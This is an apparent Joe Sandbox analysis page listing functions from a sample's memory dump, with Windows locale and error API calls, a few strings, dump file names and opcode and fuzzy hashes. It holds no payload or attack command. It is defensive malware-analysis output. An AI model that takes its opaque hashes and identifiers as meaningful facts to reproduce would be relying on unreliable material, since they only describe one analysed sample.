Part of subcall function 003A17CA: GetLastError.KERNEL32(?,00000008,003A6C2A), ref: 003A17CE
Part of subcall function 003A17CA: SetLastError.KERNEL32(00000000,003B7B20,00000024,0039E406), ref: 003A1870

EnumSystemLocalesW.KERNEL32(003AA2F8,00000001,00000000,?,-00000050,?,003AA929,00000000,?,?,?,00000055,?), ref: 003AA244

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 42bc12e38664572514444c868c7890b1d22dbae6f4a16dfcb69fbeb3bba296bc
Instruction ID: b9571aefd301b6d0139ad52ca6e2205140b7d1640ab4eb4a841ce43fb4180e18
Opcode Fuzzy Hash: 42bc12e38664572514444c868c7890b1d22dbae6f4a16dfcb69fbeb3bba296bc
Instruction Fuzzy Hash: 1F11483B200B015FDB299F78C8916BAB791FF86769B19893CE94787A40D372B953C740

Uniqueness

Uniqueness Score: -1.00%

Function 003E2A4D Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

::34, xrefs: 003E2C5C

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: ::34
API String ID: 0-1123104282
Opcode ID: 1cd9a3672762edfe0907711a423302363c1b56ad078a9fae9f1e79326e97730e
Instruction ID: 79f05ac9a071a285ba954e6a42cae396d702b560ec90ff665450ca1900bba8c8
Opcode Fuzzy Hash: 1cd9a3672762edfe0907711a423302363c1b56ad078a9fae9f1e79326e97730e
Instruction Fuzzy Hash: D6A11470105B928AD33A8F2A8490367FBE6BF96301F29476DC4F74B7C2D378A8418B54

Uniqueness

Uniqueness Score: -1.00%

Function 003AA77A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 003A17CA: GetLastError.KERNEL32(?,00000008,003A6C2A), ref: 003A17CE
Part of subcall function 003A17CA: SetLastError.KERNEL32(00000000,003B7B20,00000024,0039E406), ref: 003A1870

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,003AA514,00000000,00000000,?), ref: 003AA7A6

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d8cd212db2b3f38801bb83050920a2a4dbbcb3efb91051e1d4676f37a553b56f
Instruction ID: 3003d3ac58e527e5de98e20638f8e834b4d2f857f15613190456e23d1b0b1189
Opcode Fuzzy Hash: d8cd212db2b3f38801bb83050920a2a4dbbcb3efb91051e1d4676f37a553b56f
Instruction Fuzzy Hash: 6AF0F9375005116BDF269AA0CC49BBB77B8EB41754F150425EC06A3140EB36FD41C6D1

Uniqueness

Uniqueness Score: -1.00%

Function 003AA0E0 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 003A17CA: GetLastError.KERNEL32(?,00000008,003A6C2A), ref: 003A17CE
Part of subcall function 003A17CA: SetLastError.KERNEL32(00000000,003B7B20,00000024,0039E406), ref: 003A1870

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 003AA134

Strings

utf8, xrefs: 003AA0A3

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: a0724b978d284b991ae47b727141e0990046f87629f8e749c4fcc71442dfdfc9
Instruction ID: 8cb5f293338151d17cdce019fdb54f9f0c05d82562b79afaeb11a8f51b9c85c9
Opcode Fuzzy Hash: a0724b978d284b991ae47b727141e0990046f87629f8e749c4fcc71442dfdfc9
Instruction Fuzzy Hash: A2F02833A00105ABC715AB74DC4AEBA33ECDB46715F05007AF602DB281EA38AD05C750

Uniqueness

Uniqueness Score: -1.00%

Function 003AA26D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003A17CA: GetLastError.KERNEL32(?,00000008,003A6C2A), ref: 003A17CE
Part of subcall function 003A17CA: SetLastError.KERNEL32(00000000,003B7B20,00000024,0039E406), ref: 003A1870

EnumSystemLocalesW.KERNEL32(003AA54B,00000001,?,?,-00000050,?,003AA8ED,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 003AA2B7

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: f6d4a35dccef8ce25621332ac58b344bb822a9e8b99ca01d6fd16235753e1526
Instruction ID: ad75e8a995a2269c45cef068e7a221517b66ab9eab7aca4ffcf51325f77a8738
Opcode Fuzzy Hash: f6d4a35dccef8ce25621332ac58b344bb822a9e8b99ca01d6fd16235753e1526
Instruction Fuzzy Hash: 4BF046372007041FCB265F75CC85B7A7B91EF82328F06482CF9424B680C3729C02C700

Uniqueness

Uniqueness Score: -1.00%

Function 003A1AC2 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0039BC64: EnterCriticalSection.KERNEL32(-003BA7C0,?,003A0BF6,00000000,003B78E0,0000000C,003A0BBD,00000000,?,003A22C0,00000000,?,003A1968,00000001,00000364,00000000), ref: 0039BC73

EnumSystemLocalesW.KERNEL32(003A1AB5,00000001,003B79E0,0000000C,003A1EE4,00000000), ref: 003A1AFA

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: ece64f220bb5cff7a426a190196bb745dc5b1822199092e657aba02e38d5d90b
Instruction ID: bd1b25def06a3851238dff797c5ba5acb571019ce5051ed8186f4d18aa6274f8
Opcode Fuzzy Hash: ece64f220bb5cff7a426a190196bb745dc5b1822199092e657aba02e38d5d90b
Instruction Fuzzy Hash: 3DF04936A14604EFDB02EFA8E842B9D77F4FB45725F10422AF6109B3A1CBB94900CF40

Uniqueness

Uniqueness Score: -1.00%

Function 003AA187 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003A17CA: GetLastError.KERNEL32(?,00000008,003A6C2A), ref: 003A17CE
Part of subcall function 003A17CA: SetLastError.KERNEL32(00000000,003B7B20,00000024,0039E406), ref: 003A1870

EnumSystemLocalesW.KERNEL32(003AA0E0,00000001,?,?,?,003AA94B,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 003AA1BE

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 3595a284c5ab25636070371957ceffa062fef64ad496c1b0c743bc8f848e3065
Instruction ID: 0bc11e40b9be17731325b5d535904198a390b4a2962c548eec05919ecfa9b5bd
Opcode Fuzzy Hash: 3595a284c5ab25636070371957ceffa062fef64ad496c1b0c743bc8f848e3065
Instruction Fuzzy Hash: ADF0E53A34020567CB169F75DC59A6A7F94EFC2750F0B4459EA068B291C7769842C790

Uniqueness

Uniqueness Score: -1.00%

Function 003FAA50 Relevance: 1.5, Strings: 1, Instructions: 278COMMON

Download Yara Rule

Strings

GDEJ, xrefs: 003FAABA

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: GDEJ
API String ID: 0-1259571530
Opcode ID: 982864ab25038160d7443025f9f1bd249b2cc4dd86d1736adc06918f9b7255e7
Instruction ID: 2985da9c7f27b7ed1c66d4ac2764392cbd3247189ea5261ae2ffd5eba6bd0aa9
Opcode Fuzzy Hash: 982864ab25038160d7443025f9f1bd249b2cc4dd86d1736adc06918f9b7255e7
Instruction Fuzzy Hash: 4D91ACB02047069BD715CF18C4A0A6BB7F1FF84354F15892CEA898B661E730EC55CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003FA760 Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

GDEJ, xrefs: 003FA7CA

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: GDEJ
API String ID: 0-1259571530
Opcode ID: 9b78aa9122661b39f85a4ef5741a35309537e5c1bcf08b2d16e3f659ea21cd44
Instruction ID: 6c4176749fe0ac0bfa44275d9c38be76e2fddfe5fae1290822a74364338e07cd
Opcode Fuzzy Hash: 9b78aa9122661b39f85a4ef5741a35309537e5c1bcf08b2d16e3f659ea21cd44
Instruction Fuzzy Hash: EA81DBB26083099FC711CF14C490B6BB7E1FF88764F16892CEA995B261D770EC15CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00396FB2 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00006FBE,00396622), ref: 00396FB7

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 11cb407cd1d7db54068f922360e7332497e72aff7b4244e49a2363e148329685
Instruction ID: 4c36ddd0b65c1e0ae9abbb1d767e72f48626a17a25ab9c6fe375df164254efa9
Opcode Fuzzy Hash: 11cb407cd1d7db54068f922360e7332497e72aff7b4244e49a2363e148329685
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 003FB0E0 Relevance: 1.5, Strings: 1, Instructions: 230COMMON

Download Yara Rule

Strings

GDEJ, xrefs: 003FB17A

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID: GDEJ
API String ID: 0-1259571530
Opcode ID: a5384c7634952829558a66602be7df9c9b9b9371e9374dbdbc0346e3c18e98f4
Instruction ID: 6f7eed7b7586ad62cbe478bac5a44f7c2c2dfc1f431a15e149599ae624e65125
Opcode Fuzzy Hash: a5384c7634952829558a66602be7df9c9b9b9371e9374dbdbc0346e3c18e98f4
Instruction Fuzzy Hash: BB8178B5608305ABD715CF14C8A1B2FB7E2FF84318F188A2CE9959B291D730ED45CB82

Uniqueness

Uniqueness Score: -1.00%

Function 003AAAAB Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 003AAAAB

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 30dd52be475a1ec1efdcd0e04e1024a94149483cd3c6149920099b5e7afb0b8c
Instruction ID: a0b431f915a23cf13b26eb87b34e15e9727b7f04a4b6b524c533afe81c33d705
Opcode Fuzzy Hash: 30dd52be475a1ec1efdcd0e04e1024a94149483cd3c6149920099b5e7afb0b8c
Instruction Fuzzy Hash: DAA00170601A01CF97468FB6AA096093AADAA8A7A6B058179A695C5260EA74C4519F02

Uniqueness

Uniqueness Score: -1.00%

Function 003C2410 Relevance: .7, Instructions: 705COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa96888668aa9e4d9d52ddf0d20899b04066478fdc8fd6afb8be6c928e7e98a3
Instruction ID: 0e1568823771583ad89afd4acf2a2a8c80e217c87d1fd0b1930660f888221934
Opcode Fuzzy Hash: fa96888668aa9e4d9d52ddf0d20899b04066478fdc8fd6afb8be6c928e7e98a3
Instruction Fuzzy Hash: FD42CD316083118BC726DF18C884BBBB3E1FF94314F19892DE996D7291EB35AD55CB82

Uniqueness

Uniqueness Score: -1.00%

Function 003F5B70 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b106f53948bf4a201bd2b48519594204b2a7bdd6d0d8d8e48b819624cd685672
Instruction ID: 51a6b021edbf173a4cdf2d23c240c7230189e0c7f377c0554867df0e3c4d68e8
Opcode Fuzzy Hash: b106f53948bf4a201bd2b48519594204b2a7bdd6d0d8d8e48b819624cd685672
Instruction Fuzzy Hash: 9D3278716083469FD715CF14C890B2FBBE2BBC4314F148A2CF6958B2A2D775E949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003BDE62 Relevance: .7, Instructions: 655COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8dca5d92efc276d1bb97ac1a81a2aa3ca5a03a69f7b98e1eb9ce0df4de88f89
Instruction ID: 9088ee99f44ddb9384476c4325fb6ca67d7966c591542dc57ba8c9c865361148
Opcode Fuzzy Hash: b8dca5d92efc276d1bb97ac1a81a2aa3ca5a03a69f7b98e1eb9ce0df4de88f89
Instruction Fuzzy Hash: A252E031508B529BC71ACF29C0902E6F7E1FF84318F198A6DE9DA97A41D734E855CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 003BE530 Relevance: .6, Instructions: 607COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 741be2f86b5fb2def49330c43ba9863603c9f9af7efda3282858697ade51a760
Instruction ID: 37d73559da198ac6c264e5e7f95153d110aae8a8d8bb400faa60e7cd74a2c38b
Opcode Fuzzy Hash: 741be2f86b5fb2def49330c43ba9863603c9f9af7efda3282858697ade51a760
Instruction Fuzzy Hash: 99425470514B518FC36ACF28C9906AABBE1FF55318BA08A2DD6978BF90D735F845CB10

Uniqueness

Uniqueness Score: -1.00%

Function 003B9083 Relevance: .5, Instructions: 459COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebb691aa3abbabf1d3e6c29c96f8dc920aee4969640fc1164858aeafa68fa89d
Instruction ID: d810cdbbc6d26637be9a0e4b24bfa38028727d8ab23b277bf3880ad412886848
Opcode Fuzzy Hash: ebb691aa3abbabf1d3e6c29c96f8dc920aee4969640fc1164858aeafa68fa89d
Instruction Fuzzy Hash: 2EE10231A087118BC729DE28C890B7BB3A1FBD4314F26862DD996D7381DB35AD55C781

Uniqueness

Uniqueness Score: -1.00%

Function 003D5C10 Relevance: .5, Instructions: 452COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf047a94f0fb968288b8c17011b1f8ba5ed6714f534964c13233cc0a6386985
Instruction ID: 8219f72015ec729e300a7ed7a7ac60f385b346393c15519688072357083ebbe3
Opcode Fuzzy Hash: dbf047a94f0fb968288b8c17011b1f8ba5ed6714f534964c13233cc0a6386985
Instruction Fuzzy Hash: 39C1CEB29083108BD725CF14D85276BB3F2FF95314F598A1EE8D59B390E739A904C792

Uniqueness

Uniqueness Score: -1.00%

Function 003C08A0 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22a948ea9d1ad466975d69c8f76cf761a9399efc30193b118db83969df074792
Instruction ID: bbdfb27c8c9fdaabfb05890a44e9d2c7070142d9091af091d90576eb0402a301
Opcode Fuzzy Hash: 22a948ea9d1ad466975d69c8f76cf761a9399efc30193b118db83969df074792
Instruction Fuzzy Hash: A1F16B31608380CFCB19CF69C880B5ABBE5AF99304F09896DE989DB352D731DD45CB96

Uniqueness

Uniqueness Score: -1.00%

Function 003DBD10 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607335704.00000000003B9000.00000004.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607321959.00000000003AF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607408202.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1607421239.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf8d22c9e14e1da1583619fe2603f73929d2ccd85399d28f998447d30861a918
Instruction ID: 1a5313ad0c4a6a0f032f618f4920b27c74bcf06f604ed6f852be9d8480b19f4a
Opcode Fuzzy Hash: bf8d22c9e14e1da1583619fe2603f73929d2ccd85399d28f998447d30861a918
Instruction Fuzzy Hash: 7CC1FE72618302DBE715CF28D89072BBBE2EB84354F15892EF5C58B392E775D944CB82

Uniqueness

Uniqueness Score: -1.00%

Function 003A9996 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1607303709.0000000000391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.1607290664.0000000000390000.00000002.00000001.01000000.00000003.sdmpDownload File
